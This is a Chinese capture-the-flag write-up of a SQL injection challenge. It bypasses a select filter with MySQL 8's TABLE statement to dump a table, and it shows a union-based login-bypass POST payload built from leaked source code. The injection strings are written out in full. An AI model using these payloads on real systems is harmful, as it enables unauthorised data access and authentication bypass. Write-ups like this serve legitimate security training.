根据提示,在网址后面加上?id
尝试?id=1 and 1=1
有回显,存在SQL注入,尝试用union联合注入的方法
?id=-1 union select 1,2
这里 select过滤,尝试绕过,如大小写的绕过、编码等,依然无效,直接上工具sqlmap
这里得到的结果是,本网站使用的是MySQL 8.0
去查了一下MySQL 8.0 是存在table注入的,因此尝试使用table进行注入
知识积累:
TABLE与SELECT的区别:
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
可以简单测试一下是否存在table注入:?id=-1 union table users limit 0,1
结果是存在的,继续爆破数据库
得到数据库名:security
根据题目要求
因此大胆猜测有张表就叫email或者emails
尝试一下:?id=-1 union table security.email limit 0,1 或者?id=-1 union table security.email limit 0,1
通过测试,表名是emails
但是在查的时候是limit 0,1 查询出来不是Beaxia,而是Dumb,所以继续往下查询
?id=-1 union table security.email limit 7,1
这里显示有一个zip,于是去下载下来看看
http://39.106.87.115:7009/ypHeMPardErE.zip
解压出来是一个网页文件,点开,查看网页源代码
可以通过username注入,提交username必须为admin,并且后面需要通过$row['passwd'] == $passwd
构造post参数:username=admin' union select 1, 'admin', 'Dumb'-- &passwd=Dumb